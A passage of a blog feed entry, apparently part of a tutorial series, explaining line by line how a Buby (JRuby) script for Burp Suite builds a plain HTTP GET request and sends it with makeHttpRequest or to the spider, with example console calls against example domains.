style="color: black;"&gt;Here&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;The script make_http_request.rb (under examples directory) will be used to demonstrate makeHttpRequest and sendToSpider.&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;$burp.get method&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;=============&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 24 - We defined the method ($burp.get) which takes a url value&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Lines 25-27 - If the url is NOT in scope, we send this to the spider function&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 28 - We used regexp to extract the path of the url&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 29 - We instantiate an object called 'path' which is the same as path_match&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 30 - An object called prefix is instantiated, this is where we extract http:// or https://&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 31 - uri is basically the url minus the prefix (http:// or https://)&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 32 - Prior to removing a port (such as url:9000), we extrapolate either an IP or hostname&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 33 - Same deal for port, prior to removing the colon, we create a presub_port object which is the colon + port number.&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 34 - The port object is created, this is presub_port cast to String type and the colon removed&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 35 - pre object equals true or false depending on whether or not the prefix is http or https.&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 36 - rpath (remote path) is the path object. If no path was specified it defaults to '/'.&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 37 - host is cast to a String type and the presub_port and rpath values are stripped (gives us the true host value).&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 38 - req_str object is the value of get_req (the method we discuss below).&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 39 - res object is instantiated and it is the value of the response when makeHttpRequest call is made. 'res' will be a String type.&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;Line 40 - We print 'res' to the console&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-l08CCVMg5t4/TdAZIjWYitI/AAAAAAAAAUY/ejPyujTvyS4/s1600/make_http_req_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-l08CCVMg5t4/TdAZIjWYitI/AAAAAAAAAUY/ejPyujTvyS4/s1600/make_http_req_1.png" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-size: large; line-height: 18px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: small; font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;get_req method&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;============&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Line 10 - The method get_req is defined, takes three parameters. Host, Port and Path values.&lt;br /&gt;&lt;br /&gt;Line 11 - 'str' object is created and cast as a String type.&lt;br /&gt;&lt;br /&gt;The important lines here are 12, 13 and 20.&lt;br /&gt;&lt;br /&gt;Line 12 - We take the path value and insert it into the first line of the request string.&lt;br /&gt;&lt;br /&gt;Line 13 - host and port are concatenated so that www.example.com and 80 become one string value (www.example.com:80)&lt;br /&gt;&lt;br /&gt;Line 20 - Notice how we append two newline characters ("\n\n") versus only one newline character like the rest of the string lines. This is important because Burp will error out and fail to send the request if this is missing. This is how Burp differentiates the Headers &amp;amp; Body and even if the body is missing Burp still needs the marker (two newlines) to mark the end of the headers section and understand the request.&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: #333333;"&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;span class="Apple-style-span" style="font-size: large; line-height: 18px;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;a href="http://4.bp.blogspot.com/-T-x3Hfj3lus/TdAcNkmx5KI/AAAAAAAAAUc/RydZRsY6vvM/s1600/make_http_req_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-T-x3Hfj3lus/TdAcNkmx5KI/AAAAAAAAAUc/RydZRsY6vvM/s1600/make_http_req_2.png" /&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-T-x3Hfj3lus/TdAcNkmx5KI/AAAAAAAAAUc/RydZRsY6vvM/s1600/make_http_req_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;span class="Apple-style-span" style="font-size: large; line-height: 18px;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;span class="Apple-style-span" style="font-size: large; line-height: 18px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: #333333; font-size: small; font-weight: normal; line-height: normal;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;div style="color: black; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;That is it, go ahead and try the script out and when you run it make sure you choose the -i or interactive option. Example:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;$ jruby -S buby -i -B burp_pro.jar -r make_http_req.rb&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;At the console, to run the this method, you can type the following (examples):&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;$burp.get('http://www.example.com')&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;$burp.get('http://www.example.com:9050')&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="color: black; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;$burp.get('http://www.test.com:3333/test/test.aspx?error=error.jpg'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="color: black; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;span class="Apple-style-span" style="font-size: large; line-height: 18px;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;span class="Apple-style-span" style="font-size: large; line-height: 18px;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;&lt;b&gt;&lt;div style="color: black; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-8350000751593691290?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/8350000751593691290/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8350000751593691290' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8350000751593691290'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8350000751593691290'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/05/buby-script-basics-part-6.html' title='Buby Script Basics Part 6'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' 